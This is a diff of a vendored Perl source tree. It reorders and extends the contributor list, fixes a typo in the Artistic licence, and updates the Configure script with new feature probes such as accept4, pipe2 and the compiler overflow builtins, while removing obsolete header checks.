 Matthijs van Duin		<xmath at cpan.org>
 Mattia Barbon			<mbarbon at dsi.unive.it>
-Matsumoto Yasuhiro		<mattn.jp at gmail.com>
 Maurizio Loreti			<maurizio.loreti at pd.infn.it>
 Max Baker			<max at warped.org>
 Max Maischein			<corion at corion.net>
@@ -931,7 +940,7 @@
 Osvaldo Villalon		<ovillalon at dextratech.com>
 Owain G. Ainsworth		<oga at nicotinebsd.org>
 Owen Taylor			<owt1 at cornell.edu>
-Pali    			<pali at cpan.org>
+Pali				<pali at cpan.org>
 Papp Zoltan			<padre at elte.hu>
 parv				<parv at pair.com>
 Pascal Rigaux			<pixel at mandriva.com>
@@ -965,8 +974,8 @@
 Per Einar Ellefsen		<per.einar at skynet.be>
 Perlover			<perlover at perlover.com>
 Pete Peterson			<petersonp at genrad.com>
+Peter Avalos			<peter at theshell.com>
 Peter BARABAS
-Peter Avalos                    <peter at theshell.com>
 Peter Chines			<pchines at nhgri.nih.gov>
 Peter Dintelmann		<Peter.Dintelmann at Dresdner-Bank.com>
 Peter E. Yee			<yee at trident.arc.nasa.gov>
@@ -994,8 +1003,8 @@
 Philip Hazel			<ph10 at cus.cam.ac.uk>
 Philip M. Gollucci		<pgollucci at p6m7g8.com>
 Philip Newton			<pne at cpan.org>
+Philippe Bruhat (BooK)		<book at cpan.org>
 Philippe M. Chiasson		<gozer at ActiveState.com>
-Philippe Bruhat (BooK)		<book at cpan.org>
 Pierre Bogossian		<bogossian at mail.com>
 Piers Cawley			<pdcawley at bofh.org.uk>
 Pino Toscano			<pino at debian.org>
@@ -1024,7 +1033,7 @@
 Raul Dias			<raul at dias.com.br>
 Raymund Will			<ray at caldera.de>
 Redvers Davies			<red at criticalintegration.com>
-Reini Urban			<rurban at x-ray.at>
+Reini Urban			<rurban at cpan.org>
 Renee Baecker			<module at renee-baecker.de>
 Reuben Thomas			<rrt at sc3d.org>
 Rex Dieter			<rdieter at math.unl.edu>
@@ -1093,8 +1102,8 @@
 Scott Bronson			<bronson at rinspin.com>
 Scott Gifford			<sgifford at tir.com>
 Scott Henry			<scotth at sgi.com>
+Scott L. Miller			<Scott.L.Miller at Compaq.com>
 Scott Lanning			<lannings at who.int>
-Scott L. Miller			<Scott.L.Miller at Compaq.com>
 Scott Wiersdorf			<scott at perlcode.org>
 Sean Boudreau			<seanb at qnx.com>
 Sean Dague			<sean at dague.net>
@@ -1119,6 +1128,7 @@
 Shirakata Kentaro		<argrath at ub32.org>
 Shishir Gundavaram		<shishir at ruby.ora.com>
 Shlomi Fish			<shlomif at cpan.org>
+Shoichi Kaji			<skaji at cpan.org>
 Simon Cozens			<simon at netthink.co.uk>
 Simon Glover			<scog at roe.ac.uk>
 Simon Leinen
@@ -1148,6 +1158,7 @@
 Stephen Oberholtzer		<oliverklozoff at gmail.com>
 Stephen P. Potter		<spp at ds.net>
 Stephen Zander			<gibreel at pobox.com>
+Stevan Little			<stevan at cpan.org>
 Steve A Fink			<sfink at cs.berkeley.edu>
 Steve Grazzini			<grazz at pobox.com>
 Steve Hay			<steve.m.hay at googlemail.com>
@@ -1158,7 +1169,6 @@
 Steve Peters			<steve at fisharerojo.org>
 Steve Purkis			<Steve.Purkis at multimap.com>
 Steve Vinoski
-Stevan Little			<stevan at cpan.org>
 Steven Hirsch			<hirschs at btv.ibm.com>
 Steven Humphrey			<catchperl at 33k.co.uk>
 Steven Knight			<knight at theopera.baldmt.citilink.com>
@@ -1187,7 +1197,6 @@
 Thomas Conté			<tom at fr.uu.net>
 Thomas Dorner			<Thomas.Dorner at start.de>
 Thomas Kofler
-Tomasz Konojacki                <me at xenu.pl>
 Thomas König
 Thomas Pfau			<pfau at nbpfaus.net>
 Thomas Sibley			<tsibley at cpan.org>
@@ -1214,8 +1223,8 @@
 Tokuhiro Matsuno		<tokuhirom at gmail.com>
 Tom Bates			<tom_bates at att.net>
 Tom Brown			<thecap at peach.ece.utexas.edu>
+Tom Christiansen		<tchrist at perl.com>
 Tom Dinger
-Tom Christiansen		<tchrist at perl.com>
 Tom Horsley			<Tom.Horsley at mail.ccur.com>
 Tom Hughes			<tom at compton.nu>
 Tom Hukins			<tom at eborcom.com>
@@ -1222,6 +1231,7 @@
 Tom Phoenix			<rootbeer at teleport.com>
 Tom Spindler			<dogcow at isi.net>
 Tom Wyant			<wyant at cpan.org>
+Tomasz Konojacki		<me at xenu.pl>
 Tomoyuki Sadahiro		<BQW10602 at nifty.com>
 Ton Hospel			<cpan at ton.iguana.be>
 Tony Bowden			<tony at kasei.com>
@@ -1232,8 +1242,8 @@
 Torsten Foertsch		<torsten.foertsch at gmx.net>
 Torsten Schönfeld		<kaffeetisch at gmx.de>
 Trevor Blackwell		<tlb at viaweb.com>
+Tsutomu IKEGAMI			<t-ikegami at aist.go.jp>
 Tuomas J. Lukka			<tjl at lukka.student.harvard.edu>
-Tsutomu IKEGAMI			<t-ikegami at aist.go.jp>
 Tye McQueen			<tye at metronet.com>
 Ulrich Habel			<rhaen at NetBSD.org>
 Ulrich Kunitz			<kunitz at mai-koeln.com>
@@ -1248,6 +1258,7 @@
 Ville Skyttä			<scop at cs132170.pp.htv.fi>
 Vincent Pit			<perl at profvince.com>
 Vishal Bhatia			<vishal at deja.com>
+Vitali Peil			<vitali.peil at uni-bielefeld.de>
 Vlad Harchev			<hvv at hippo.ru>
 Vladimir Alexiev		<vladimir at cs.ualberta.ca>
 Vladimir Marek			<vlmarek at volny.cz>
@@ -1280,8 +1291,8 @@
 Yary Hluchan
 Yasushi Nakajima		<sey at jkc.co.jp>
 Yitzchak Scott-Thoennes		<sthoenna at efn.org>
+Yutaka OIWA			<oiwa at is.s.u-tokyo.ac.jp>
 Yutaka OKAIE
-Yutaka OIWA			<oiwa at is.s.u-tokyo.ac.jp>
 Yutao Feng
 Yuval Kogman			<nothingmuch at woobling.org>
 Yves Orton			<demerphq at gmail.com>

Modified: vendor/perl/dist/Artistic
===================================================================
--- vendor/perl/dist/Artistic	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Artistic	2018-12-22 22:55:19 UTC (rev 12126)
@@ -126,6 +126,6 @@
 
 10. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR
 IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
-WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 
                                 The End

Modified: vendor/perl/dist/Configure
===================================================================
--- vendor/perl/dist/Configure	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Configure	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,22 +13,19 @@
 #
 # Note: this Configure script was generated automatically by the tool
 # called "metaconfig". Rather than working with this copy of Configure,
-# you may wish to get metaconfig. Perl uses a modified version of this
-# tool, available in the "dist" folder in the checkout of the git repo
-#    $ git clone git://perl5.git.perl.org/metaconfig.git metaconfig
-# The original dist package (including metaconfig) is available via SVN:
-#    $ svn co https://svn.code.sf.net/p/dist/code/trunk/dist
+# you should use metaconfig. Perl uses a modified version of this
+# tool, and this, together with the metaconfig units, are available
+# in the git repository:
+#    $ git clone https://github.com/perl5-metaconfig/metaconfig metaconfig
+# The original dist package (including metaconfig) is available on github:
+#    $ git clone https://github.com/rmanfredi/dist.git dist-git
 #
 # Though this script was generated by metaconfig from metaunits, it is
-# OK to send patches against Configure itself. It's up to the Configure
-# pumpkin to backport the patch to the metaunits if it is accepted.
-# For more information on patching Configure, see pod/perlhack.pod
-#
-# The metaunits are also available from the public git repository:
-#     http://perl5.git.perl.org/metaconfig.git/ or
-#     $ git clone git://perl5.git.perl.org/metaconfig.git metaconfig
-#
-# See Porting/pumpkin.pod for more information on metaconfig.
+# OK to send patches against Configure itself (but not to commit them
+# to blead). It's up to
+# the Configure maintainers to backport the patch to the metaunits if it
+# is accepted. Exceptions to this rule, and more information, is in
+# Porting/pumpkin.pod.
 
 # Generated using [metaconfig 3.5 PL0]
 # (with additional metaconfig patches by perlbug at perl.org)
@@ -232,6 +229,7 @@
 known_extensions=''
 nonxs_ext=''
 static_ext=''
+uselanginfo=''
 useopcode=''
 useposix=''
 extras=''
@@ -339,7 +337,6 @@
 afs=''
 afsroot=''
 alignbytes=''
-ansi2knr=''
 archlib=''
 archlibexp=''
 d_archlib=''
@@ -375,6 +372,7 @@
 cpprun=''
 cppstdin=''
 d__fwalk=''
+d_accept4=''
 d_access=''
 d_accessx=''
 d_acosh=''
@@ -394,11 +392,11 @@
 d_attribute_warn_unused_result=''
 d_printf_format_null=''
 d_backtrace=''
-d_bcmp=''
-d_bcopy=''
 d_builtin_choose_expr=''
 d_builtin_expect=''
-d_bzero=''
+d_builtin_add_overflow=''
+d_builtin_mul_overflow=''
+d_builtin_sub_overflow=''
 d_c99_variadic_macros=''
 d_casti32=''
 castflags=''
@@ -428,7 +426,6 @@
 ctime_r_proto=''
 d_ctime_r=''
 d_cuserid=''
-d_dbl_dig=''
 d_dbminitproto=''
 d_difftime=''
 d_dir_dd_fd=''
@@ -443,6 +440,7 @@
 drand48_r_proto=''
 d_drand48proto=''
 d_dup2=''
+d_dup3=''
 d_eaccess=''
 d_endgrent=''
 d_endgrent_r=''
@@ -498,6 +496,11 @@
 d_fpos64_t=''
 d_frexpl=''
 d_fs_data_s=''
+d_fchmodat=''
+d_linkat=''
+d_openat=''
+d_renameat=''
+d_unlinkat=''
 d_fseeko=''
 d_fsetpos=''
 d_fstatfs=''
@@ -626,6 +629,7 @@
 d_llrintl=''
 d_llround=''
 d_llroundl=''
+d_localeconv_l=''
 d_localtime_r=''
 d_localtime_r_needs_tzset=''
 localtime_r_proto=''
@@ -655,17 +659,16 @@
 d_malloc_good_size=''
 d_malloc_size=''
 d_mblen=''
+d_mbrlen=''
+d_mbrtowc=''
 d_mbstowcs=''
 d_mbtowc=''
-d_memchr=''
-d_memcmp=''
-d_memcpy=''
 d_memmem=''
-d_memmove=''
-d_memset=''
+d_memrchr=''
 d_mkdir=''
 d_mkdtemp=''
 d_mkfifo=''
+d_mkostemp=''
 d_mkstemp=''
 d_mkstemps=''
 d_mktime=''
@@ -683,6 +686,7 @@
 d_msync=''
 d_munmap=''
 d_nan=''
+d_nanosleep=''
 d_nearbyint=''
 d_duplocale=''
 d_freelocale=''
@@ -694,11 +698,13 @@
 d_nexttoward=''
 d_nice=''
 d_nl_langinfo=''
+d_thread_safe_nl_langinfo_l=''
 d_off64_t=''
 d_open3=''
 d_fpathconf=''
 d_pathconf=''
 d_pause=''
+d_pipe2=''
 d_pipe=''
 d_poll=''
 d_portable=''
@@ -737,9 +743,6 @@
 d_rint=''
 d_rmdir=''
 d_round=''
-d_safebcpy=''
-d_safemcpy=''
-d_sanemcmp=''
 d_sbrkproto=''
 d_scalbn=''
 d_scalbnl=''
@@ -833,7 +836,6 @@
 socketlib=''
 d_socklen_t=''
 d_socks5_init=''
-d_sprintf_returns_strlen=''
 d_sqrtl=''
 d_srand48_r=''
 srand48_r_proto=''
@@ -860,12 +862,7 @@
 stdio_cnt=''
 stdio_filbuf=''
 stdio_ptr=''
-d_index=''
-d_strchr=''
 d_strcoll=''
-d_strctcpy=''
-d_strerrm=''
-d_strerror=''
 d_sysernlst=''
 d_syserrlst=''
 d_strerror_l=''
@@ -874,9 +871,12 @@
 d_strftime=''
 d_strlcat=''
 d_strlcpy=''
+d_strnlen=''
 d_strtod=''
+d_strtod_l=''
 d_strtol=''
 d_strtold=''
+d_strtold_l=''
 d_strtoll=''
 d_strtoq=''
 d_strtoul=''
@@ -927,9 +927,6 @@
 usevfork=''
 d_voidsig=''
 signal_t=''
-d_volatile=''
-d_charvspr=''
-d_vprintf=''
 d_wait4=''
 d_waitpid=''
 d_wcscmp=''
@@ -972,7 +969,6 @@
 html3direxp=''
 installhtml3dir=''
 i_arpainet=''
-i_assert=''
 i_bfd=''
 i_crypt=''
 db_hashtype=''
@@ -990,7 +986,6 @@
 i_execinfo=''
 i_fcntl=''
 i_fenv=''
-i_float=''
 i_fp=''
 i_fp_class=''
 i_gdbm=''
@@ -1000,13 +995,10 @@
 i_inttypes=''
 i_langinfo=''
 i_libutil=''
-i_limits=''
 i_locale=''
 i_machcthr=''
 i_malloc=''
 i_mallocmalloc=''
-i_math=''
-i_memory=''
 i_mntent=''
 d_gdbm_ndbm_h_uses_prototypes=''
 d_gdbmndbm_h_uses_prototypes=''
@@ -1036,11 +1028,8 @@
 i_shadow=''
 i_socks=''
 i_stdbool=''
-i_stddef=''
 i_stdint=''
 i_stdlib=''
-i_string=''
-strings=''
 i_sunmath=''
 i_sysaccess=''
 i_sysdir=''
@@ -1082,11 +1071,8 @@
 i_unistd=''
 i_ustat=''
 i_utime=''
-i_values=''
-i_stdarg=''
-i_varargs=''
-i_varhdr=''
 i_vfork=''
+i_wchar=''
 d_inc_version_list=''
 inc_version_list=''
 inc_version_list_init=''
@@ -1246,7 +1232,6 @@
 installprivlib=''
 privlib=''
 privlibexp=''
-prototype=''
 ptrsize=''
 d_PRIXU64=''
 d_PRId64=''
@@ -1368,7 +1353,6 @@
 incpath=''
 mips_type=''
 usrinc=''
-vaproto=''
 d_vendorarch=''
 installvendorarch=''
 vendorarch=''
@@ -1486,6 +1470,8 @@
 useposix=true
 : set useopcode=false in your hint file to disable the Opcode extension.
 useopcode=true
+: set uselanginfo=false in your hint file to disable the I18N::Langinfo extension.
+uselanginfo=true
 archname64=''
 ccflags_uselargefiles=''
 ldflags_uselargefiles=''
@@ -3524,8 +3510,8 @@
 			;;
 		nonstop-ux) osname=nonstopux ;;
 		openbsd) osname=openbsd
-                	osvers="$3"
-                	;;
+			osvers="$3"
+			;;
 		os2)	osname=os2
 			osvers="$4"
 			;;
@@ -5224,7 +5210,7 @@
 rp='Try to use long doubles if available?'
 . ./myread
 case "$ans" in
-y|Y) 	val="$define"	;;
+y|Y)	val="$define"	;;
 *)      val="$undef"	;;
 esac
 set uselongdouble
@@ -5799,6 +5785,107 @@
 shift;
 $cc -o ${mc_file} $optimize $ccflags $ldflags $* ${mc_file}.c $libs;'
 
+: stub, used only to satisfy other units
+i_stdlib='define'
+
+: check for lengths of integral types
+echo " "
+case "$intsize" in
+'')
+	echo "Checking to see how big your integers are..." >&4
+	$cat >try.c <<EOCP
+#include <stdio.h>
+#$i_stdlib I_STDLIB
+#ifdef I_STDLIB
+#include <stdlib.h>
+#endif
+int main()
+{
+	printf("intsize=%d;\n", (int)sizeof(int));
+	printf("longsize=%d;\n", (int)sizeof(long));
+	printf("shortsize=%d;\n", (int)sizeof(short));
+	exit(0);
+}
+EOCP
+	set try
+	if eval $compile_ok && $run ./try > /dev/null; then
+		eval `$run ./try`
+		echo "Your integers are $intsize bytes long."
+		echo "Your long integers are $longsize bytes long."
+		echo "Your short integers are $shortsize bytes long."
+	else
+		$cat >&4 <<EOM
+!
+Help! I can't compile and run the intsize test program: please enlighten me!
+(This is probably a misconfiguration in your system or libraries, and
+you really ought to fix it.  Still, I'll try anyway.)
+!
+EOM
+		dflt=4
+		rp="What is the size of an integer (in bytes)?"
+		. ./myread
+		intsize="$ans"
+		dflt=$intsize
+		rp="What is the size of a long integer (in bytes)?"
+		. ./myread
+		longsize="$ans"
+		dflt=2
+		rp="What is the size of a short integer (in bytes)?"
+		. ./myread
+		shortsize="$ans"
+	fi
+	;;
+esac
+$rm_try
+
+: check for long long
+echo " "
+echo "Checking to see if you have long long..." >&4
+echo 'int main() { long long x = 7; return 0; }' > try.c
+set try
+if eval $compile; then
+	val="$define"
+	echo "You have long long."
+else
+	val="$undef"
+	echo "You do not have long long."
+fi
+$rm_try
+set d_longlong
+eval $setvar
+
+: check for length of long long
+case "${d_longlong}${longlongsize}" in
+$define)
+	echo " "
+	echo "Checking to see how big your long longs are..." >&4
+	$cat >try.c <<'EOCP'
+#include <stdio.h>
+int main()
+{
+    printf("%d\n", (int)sizeof(long long));
+    return(0);
+}
+EOCP
+	set try
+	if eval $compile_ok; then
+		longlongsize=`$run ./try`
+		echo "Your long longs are $longlongsize bytes long."
+	else
+		dflt='8'
+		echo " "
+		echo "(I can't seem to compile the test program.  Guessing...)"
+		rp="What is the size of a long long (in bytes)?"
+		. ./myread
+		longlongsize="$ans"
+	fi
+	if $test "X$longsize" = "X$longlongsize"; then
+		echo "(That isn't any different from an ordinary long.)"
+	fi
+	;;
+esac
+$rm_try
+
 : determine filename position in cpp output
 echo " "
 echo "Computing filename position in cpp output for #include directives..." >&4
@@ -5911,108 +5998,6 @@
 	set $yyy; shift; shift; yyy=$@;
 done'
 
-: see if stdlib is available
-set stdlib.h i_stdlib
-eval $inhdr
-
-: check for lengths of integral types
-echo " "
-case "$intsize" in
-'')
-	echo "Checking to see how big your integers are..." >&4
-	$cat >try.c <<EOCP
-#include <stdio.h>
-#$i_stdlib I_STDLIB
-#ifdef I_STDLIB
-#include <stdlib.h>
-#endif
-int main()
-{
-	printf("intsize=%d;\n", (int)sizeof(int));
-	printf("longsize=%d;\n", (int)sizeof(long));
-	printf("shortsize=%d;\n", (int)sizeof(short));
-	exit(0);
-}
-EOCP
-	set try
-	if eval $compile_ok && $run ./try > /dev/null; then
-		eval `$run ./try`
-		echo "Your integers are $intsize bytes long."
-		echo "Your long integers are $longsize bytes long."
-		echo "Your short integers are $shortsize bytes long."
-	else
-		$cat >&4 <<EOM
-!
-Help! I can't compile and run the intsize test program: please enlighten me!
-(This is probably a misconfiguration in your system or libraries, and
-you really ought to fix it.  Still, I'll try anyway.)
-!
-EOM
-		dflt=4
-		rp="What is the size of an integer (in bytes)?"
-		. ./myread
-		intsize="$ans"
-		dflt=$intsize
-		rp="What is the size of a long integer (in bytes)?"
-		. ./myread
-		longsize="$ans"
-		dflt=2
-		rp="What is the size of a short integer (in bytes)?"
-		. ./myread
-		shortsize="$ans"
-	fi
-	;;
-esac
-$rm_try
-
-: check for long long
-echo " "
-echo "Checking to see if you have long long..." >&4
-echo 'int main() { long long x = 7; return 0; }' > try.c
-set try
-if eval $compile; then
-	val="$define"
-	echo "You have long long."
-else
-	val="$undef"
-	echo "You do not have long long."
-fi
-$rm_try
-set d_longlong
-eval $setvar
-
-: check for length of long long
-case "${d_longlong}${longlongsize}" in
-$define)
-	echo " "
-	echo "Checking to see how big your long longs are..." >&4
-	$cat >try.c <<'EOCP'
-#include <stdio.h>
-int main()
-{
-    printf("%d\n", (int)sizeof(long long));
-    return(0);
-}
-EOCP
-	set try
-	if eval $compile_ok; then
-		longlongsize=`$run ./try`
-		echo "Your long longs are $longlongsize bytes long."
-	else
-		dflt='8'
-		echo " "
-		echo "(I can't seem to compile the test program.  Guessing...)"
-		rp="What is the size of a long long (in bytes)?"
-		. ./myread
-		longlongsize="$ans"
-	fi
-	if $test "X$longsize" = "X$longlongsize"; then
-		echo "(That isn't any different from an ordinary long.)"
-	fi
-	;;
-esac
-$rm_try
-
 : see if inttypes.h is available
 : we want a real compile instead of Inhdr because some systems
 : have an inttypes.h which includes non-existent headers
@@ -6908,10 +6893,6 @@
 esac
 $rm_try
 
-: see if this is a float.h system
-set float.h i_float
-eval $inhdr
-
 : check for long doubles
 echo " "
 echo "Checking to see if you have long double..." >&4
@@ -6970,13 +6951,10 @@
 case "$d_longdbl" in
 define)
 $cat <<EOP >try.c
-#$i_float I_FLOAT
 #$i_stdlib I_STDLIB
 #define LONGDBLSIZE $longdblsize
 #define DOUBLESIZE $doublesize
-#ifdef I_FLOAT
 #include <float.h>
-#endif
 #ifdef I_STDLIB
 #include <stdlib.h>
 #endif
@@ -7820,7 +7798,6 @@
 	;;
 esac
 
-
 : determine whether to use malloc wrapping
 echo " "
 case "$usemallocwrap" in
@@ -8109,52 +8086,6 @@
 set d_perl_otherlibdirs
 eval $setvar
 
-: Cruising for prototypes
-echo " "
-echo "Checking out function prototypes..." >&4
-$cat >prototype.c <<EOCP
-#$i_stdlib I_STDLIB
-#ifdef I_STDLIB
-#include <stdlib.h>
-#endif
-int main(int argc, char *argv[]) {
-	exit(0);}
-EOCP
-if $cc $ccflags -c prototype.c >prototype.out 2>&1 ; then
-	echo "Your C compiler appears to support function prototypes."
-	val="$define"
-else
-	echo "Your C compiler doesn't seem to understand function prototypes."
-	val="$undef"
-fi
-set prototype
-eval $setvar
-$rm -f prototype*
-
-: Check if ansi2knr is required
-case "$prototype" in
-"$define") ;;
-*)	ansi2knr='ansi2knr'
-	echo " "
-	cat <<EOM >&4
-
-$me:  FATAL ERROR:
-This version of $package can only be compiled by a compiler that
-understands function prototypes.  Unfortunately, your C compiler
-	$cc $ccflags
-doesn't seem to understand them.  Sorry about that.
-
-If GNU cc is available for your system, perhaps you could try that instead.
-
-Eventually, we hope to support building Perl with pre-ANSI compilers.
-If you would like to help in that effort, please contact <perlbug at perl.org>.
-
-Aborting Configure now.
-EOM
-	exit 2
-	;;
-esac
-
 : DTrace support
 dflt_dtrace='/usr/sbin/dtrace'
 $test -x /usr/bin/dtrace && dflt_dtrace='/usr/bin/dtrace'
@@ -9030,8 +8961,8 @@
 		echo 'You cannot have filenames longer than 14 characters.  Sigh.' >&4
 		val="$undef"
 	else
- 		echo 'You can have filenames longer than 14 characters.'>&4
- 		val="$define"
+		echo 'You can have filenames longer than 14 characters.'>&4
+		val="$define"
 	fi
 else
 	$cat <<'EOM'
@@ -9276,7 +9207,7 @@
 			$test -s hosts
 		} || {
 			test "X$hostcat" != "X" &&
-		     	$hostcat | $sed -n -e "s/[	 ]*#.*//; s/\$/ /
+			$hostcat | $sed -n -e "s/[	 ]*#.*//; s/\$/ /
 					/[	 ]$myhostname[	. ]/p" > hosts
 		}
 		tmp_re="[	. ]"
@@ -9309,7 +9240,7 @@
 				.) dflt=.`$sed -n -e 's/	/ /g' \
 				     -e 's/^domain  *\([^ ]*\).*/\1/p' $tans \
 				     -e 1q 2>/dev/null`
-  					;;
+					;;
 				esac
 			fi
 			;;
@@ -9718,7 +9649,6 @@
 set usefaststdio
 eval $setvar
 
-
 : define an is-a-typedef? function
 typedef='type=$1; var=$2; def=$3; shift; shift; shift; inclist=$@;
 case "$inclist" in
@@ -9881,8 +9811,8 @@
    rp='Try to understand large files, if available?'
    . ./myread
    case "$ans" in
-   y|Y) 	val="$define" ;;
-   *)   	val="$undef"  ;;
+   y|Y)	val="$define" ;;
+   *)	val="$undef"  ;;
    esac
    ;;
 esac
@@ -10123,46 +10053,6 @@
 prefixvar=vendorscript
 . ./installprefix
 
-: script used to emit important warnings
-cat >warn <<EOS
-$startsh
-if test \$# -gt 0; then
-	echo "\$@" >msg
-else
-	cat >msg
-fi
-echo "*** WARNING:" >&4
-sed -e 's/^/*** /' <msg >&4
-echo "*** " >&4
-cat msg >>config.msg
-echo " " >>config.msg
-rm -f msg
-EOS
-chmod +x warn
-$eunicefix warn
-
-: see which of string.h or strings.h is needed
-echo " "
-strings=`./findhdr string.h`
-if $test "$strings" && $test -r "$strings"; then
-	echo "Using <string.h> instead of <strings.h>." >&4
-	val="$define"
-else
-	val="$undef"
-	strings=`./findhdr strings.h`
-	if $test "$strings" && $test -r "$strings"; then
-		echo "Using <strings.h> instead of <string.h>." >&4
-	else
-		./warn "No string header found -- You'll surely have problems."
-	fi
-fi
-set i_string
-eval $setvar
-case "$i_string" in
-"$undef") strings=`./findhdr strings.h`;;
-*)	  strings=`./findhdr string.h`;;
-esac
-
 : see if qgcvt exists
 set qgcvt d_qgcvt
 eval $inlibc
@@ -10519,12 +10409,7 @@
 #ifdef I_STDLIB
 #include <stdlib.h>
 #endif
-#$i_string I_STRING
-#ifdef I_STRING
-#  include <string.h>
-#else
-#  include <strings.h>
-#endif
+#include <string.h>
 
 int checkit(char *expect, char *got)
 {
@@ -10705,6 +10590,10 @@
 set fwalk d__fwalk
 eval $inlibc
 
+: see if accept4 exists
+set accept4 d_accept4
+eval $inlibc
+
 : Initialize h_fcntl
 h_fcntl=false
 
@@ -10803,7 +10692,6 @@
 cc="$cc"
 optimize="$optimize"
 ccflags="$ccflags"
-prototype="$prototype"
 define="$define"
 rm_try="$rm_try"
 usethreads=$usethreads
@@ -10831,13 +10719,8 @@
     fi
     shift 2
 done
-test "$prototype" = "$define"  && echo '#define CAN_PROTOTYPE' >> try.c
 cat >> try.c <<'EOCP'
-#ifdef CAN_PROTOTYPE
 #define	_(args) args
-#else
-#define	_(args) ()
-#endif
 EOCP
 echo "$foo" >> try.c
 echo 'int no_real_function_has_this_name _((void)) { return 0; }' >> try.c
@@ -10896,16 +10779,15 @@
 eval $setvar;
 $rm_try'
 
-: see if we should include time.h, sys/time.h, or both
+: see if we should include sys/time.h
 echo " "
+i_time='define'
 if test "X$timeincl" = X; then
-	echo "Testing to see if we should include <time.h>, <sys/time.h> or both." >&4
+	echo "Testing to see if we should include <sys/time.h>." >&4
 	$echo $n "I'm now running the test program...$c"
 	$cat >try.c <<EOCP
 #include <sys/types.h>
-#ifdef I_TIME
 #include <time.h>
-#endif
 #ifdef I_SYSTIME
 #ifdef SYSTIMEKERNEL
 #define KERNEL
@@ -10942,13 +10824,12 @@
 	sysselect=''
 	for s_timeval in '-DS_TIMEVAL' ''; do
 	for i_systimek in '' '-DSYSTIMEKERNEL'; do
-	for i_time in '' '-DI_TIME'; do
 	for i_systime in '-DI_SYSTIME' ''; do
 		case "$flags" in
 		'') $echo $n ".$c"
-			set try $i_time $i_systime $i_systimek $sysselect $s_timeval $s_timezone
+			set try $i_systime $i_systimek $sysselect $s_timeval $s_timezone
 			if eval $compile; then
-				set X $i_time $i_systime $i_systimek $sysselect $s_timeval
+				set X $i_systime $i_systimek $sysselect $s_timeval
 				shift
 				flags="$*"
 				echo " "
@@ -10960,7 +10841,6 @@
 	done
 	done
 	done
-	done
 	timeincl=''
 	echo " "
 	case "$flags" in
@@ -10970,12 +10850,6 @@
 	*) i_systimek="$undef";;
 	esac
 	case "$flags" in
-	*I_TIME*) i_time="$define"
-		timeincl=`./findhdr time.h`" $timeincl"
-		echo "We'll include <time.h>." >&4;;
-	*) i_time="$undef";;
-	esac
-	case "$flags" in
 	*I_SYSTIME*) i_systime="$define"
 		timeincl=`./findhdr sys/time.h`" $timeincl"
 		echo "We'll include <sys/time.h>." >&4;;
@@ -11050,7 +10924,7 @@
 	esac
 	case "$asctime_r_proto" in
 	''|0)	d_asctime_r=undef
- 	        asctime_r_proto=0
+		asctime_r_proto=0
 		echo "Disabling asctime_r, cannot determine prototype." >&4 ;;
 	* )	case "$asctime_r_proto" in
 		REENTRANT_PROTO*) ;;
@@ -11127,8 +11001,15 @@
 #ifdef I_STDLIB
 #include <stdlib.h>
 #endif
+#$i_inttypes I_INTTYPES
+#ifdef I_INTTYPES
+#include <inttypes.h>
+#endif
+#ifndef INTPTR_MAX
+#define intptr_t int
+#endif
 int null_printf (char* pat,...) __attribute__((__format__(__printf__,1,2)));
-int null_printf (char* pat,...) { return (int)pat; }
+int null_printf (char* pat,...) { return (int)(intptr_t)pat; }
 int main () { exit(null_printf(NULL)); }
 EOCP
 	if $cc $ccflags -o attrib attrib.c >attrib.out 2>&1 ; then
@@ -11355,14 +11236,6 @@
 eval $setvar
 $rm -f attrib*
 
-: see if bcmp exists
-set bcmp d_bcmp
-eval $inlibc
-
-: see if bcopy exists
-set bcopy d_bcopy
-eval $inlibc
-
 : see if getpgrp exists
 set getpgrp d_getpgrp
 eval $inlibc
@@ -11495,6 +11368,117 @@
 eval $setvar
 $rm_try
 
+: Look for GCC-style __builtin_add_overflow
+case "$d_builtin_add_overflow" in
+'')
+    echo " "
+    echo "Checking whether your compiler can handle __builtin_add_overflow ..." >&4
+    $cat >try.c <<'EOCP'
+int main(void) {
+    const unsigned int uint_max = ~0u;
+    int target_int = 0;
+    if (__builtin_add_overflow(1, 2, &target_int) || target_int != 3) {
+        return 1;
+    }
+    if (!__builtin_add_overflow((int)(uint_max >> 1), 1, &target_int)) {
+        return 1;
+    }
+    if (!__builtin_add_overflow(uint_max, -1, &target_int)) {
+        return 1;
+    }
+    return 0;
+}
+EOCP
+    set try
+    if eval $compile && $run ./try; then
+        echo "Your C compiler supports __builtin_add_overflow."
+        val="$define"
+    else
+        echo "Your C compiler doesn't seem to understand __builtin_add_overflow."
+        val="$undef"
+    fi
+    ;;
+*) val="$d_builtin_add_overflow" ;;
+esac
+
+set d_builtin_add_overflow
+eval $setvar
+$rm_try
+
+: Look for GCC-style __builtin_sub_overflow
+case "$d_builtin_sub_overflow" in
+'')
+    echo " "
+    echo "Checking whether your compiler can handle __builtin_sub_overflow ..." >&4
+    $cat >try.c <<'EOCP'
+int main(void) {
+    const unsigned int uint_max = ~0u;
+    int target_int = 0;
+    if (__builtin_sub_overflow(1, -2, &target_int) || target_int != 3) {
+        return 1;
+    }
+    if (!__builtin_sub_overflow(-(int)(uint_max >> 1), 2, &target_int)) {
+        return 1;
+    }
+    if (!__builtin_sub_overflow(uint_max, 1, &target_int)) {
+        return 1;
+    }
+    return 0;
+}
+EOCP
+    set try
+    if eval $compile && $run ./try; then
+        echo "Your C compiler supports __builtin_sub_overflow."
+        val="$define"
+    else
+        echo "Your C compiler doesn't seem to understand __builtin_sub_overflow."
+        val="$undef"
+    fi
+    ;;
+*) val="$d_builtin_sub_overflow" ;;
+esac
+
+set d_builtin_sub_overflow
+eval $setvar
+$rm_try
+
+: Look for GCC-style __builtin_mul_overflow
+case "$d_builtin_mul_overflow" in
+'')
+    echo " "
+    echo "Checking whether your compiler can handle __builtin_mul_overflow ..." >&4
+    $cat >try.c <<'EOCP'
+int main(void) {
+    const unsigned int uint_max = ~0u;
+    int target_int = 0;
+    if (__builtin_mul_overflow(2, 3, &target_int) || target_int != 6) {
+        return 1;
+    }
